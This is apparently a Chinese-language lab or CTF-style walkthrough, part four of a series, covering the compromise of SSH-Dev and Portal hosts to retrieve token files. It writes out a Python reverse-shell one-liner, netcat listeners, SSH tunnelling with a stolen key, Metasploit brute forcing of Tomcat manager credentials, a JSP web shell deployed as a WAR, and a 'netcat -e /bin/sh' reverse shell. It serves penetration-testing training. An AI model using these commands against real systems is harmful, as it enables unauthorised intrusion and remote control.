在前三个部分,我们已经成功拿下了网络中的6个系统。这一部分我们将渗透SSH-Dev和Portal系统。
正如上图所示,ssh-dev系统的IP是172.16.0.3,通过VPN网络无法ping通它。所以我们通过Cabinent系统ping下试试,在第一部分中我们已经攻破了Cabinet系统,上传了一个PHP shell。利用这个后门,我们ping SSH-Dev系统。
通过Cabinet系统可以到达SSH-Dev系统,让我们建立一个Cabinet系统的反连shell,用它来攻击SSH-Dev,使用下面的命令执行netcat:
nc-lvp 80
我们使用Python的反连shell,回连监听的80端口:
python -c “import sys,socket,os,pty; _,ip,port=sys.argv; s=socket.socket(); s.connect((ip,int(port))); [os.dup2(s.fileno(),fd) for fd in (0,1,2)]; pty.spawn(‘/bin/bash’)” <10.10.X.X> 80
现在我们有了一个访问Cabinet系统的shell。
我们利用Cabinet的文件上传漏洞上传Westfall的ssh key。
之后,通过Cabinet的shell浏览uploads文件夹,我们把WestFall的SSH key上传到了那里,SSH使用这个key就可以连接到SSH-Dev系统,命令如下:
ssh -i key.txt westfall@172.16.0.3
做完之后,执行ls命令列目录,就找到了token文件。
Portal系统的IP是192.168.0.3,也不能通过VPN网络直接访问。为了能够访问Portal系统,我们需要连接CISCO VPN,然后连接SSH服务器系统。我们怎样访问SSH服务器呢?这可以在该教程的第三部分中找到。我们连上了SSH服务器,现在我们要扫描Portal的IP,使用基于Python的端口扫描器扫描所有端口。
我们把上面的python脚本上传到SSH服务器系统的public文件夹中。使用下面的命令:
ssh -i key.txt westfall@172.16.0.3
可以看到,我们的scan.py文件成功上传到了系统上。
现在我需要给scan.py设置执行权限,输入命令:
chmod +x scan.py
接着,执行scan.py文件,输入./scan.py,后面接目标IP。
从上面的扫描结果可以看出,只开了两个端口22和8080。现在我们需要架设一个SSH隧道,以便从本地系统访问8080端口。我们将把本地的9000端口转发到8080端口。命令如下:
ssh -nNT -i /root/Desktop/<davisSSHkey> -f -L 9000:192.168.0.3:8080 davis@192.168.101.7
检查一下9000端口是否被成功转发,打开localhost的9000端口,发现那上面运行着一个web应用程序。
在本机上执行namp的full-service扫描,命令为:
nmap localhost -sV -p9000
结果显示9000端口上运行着Apache Tomcat,所以我们尝试访问tomcat默认的admin页面,可以通过在URL后面加上manager文件夹路径来访问。
试了几个Apache Tomcat的默认用户名口令,但是没有一个管用的。我们决定使用暴力猜解的办法获取登录凭证。使用Metasploit的auxiliary模块。在Metasploit中执行下面的命令:
use auxiliary/scanner/http/tomcat_mgr_login set RHOSTS localhost set RPORT 9000 set PASS_FILE /usr/share/wordlists/dirb/big.txt set USER_AS_PASS true set BLANK_PASSWORDS true set STOP_ON_SUCCESS true set THREADS 20 exploit
最后,我们找到了登录凭证,就是 tomcat:hydrogen
现在我们要用一个反连shell控制这个系统。上传一个基于JSP的后门。如下面所示,一个cmd.war文件,它可以作为tomcat的模块部署。
点击browse,选择cmd.war文件,然后deploy它。
现在我们通过浏览器访问部署的war文件了,输入
http://127.0.0.1:9000/cmd/cmd.jsp
在我们本地系统上,以监听模式启动NetCat,命令为:
nc -lvp 443
然后,在我们的后门中执行NetCat,输入命令:
netcat -e /bin/sh <localsystemIP> 443
我们得到了Portal系统的shell。
使用下面的命令搜索token文件。
find -name “*token*”
在/webapps/ROOT/目录下找到了token文件,使用cat命令读取token文件的内容。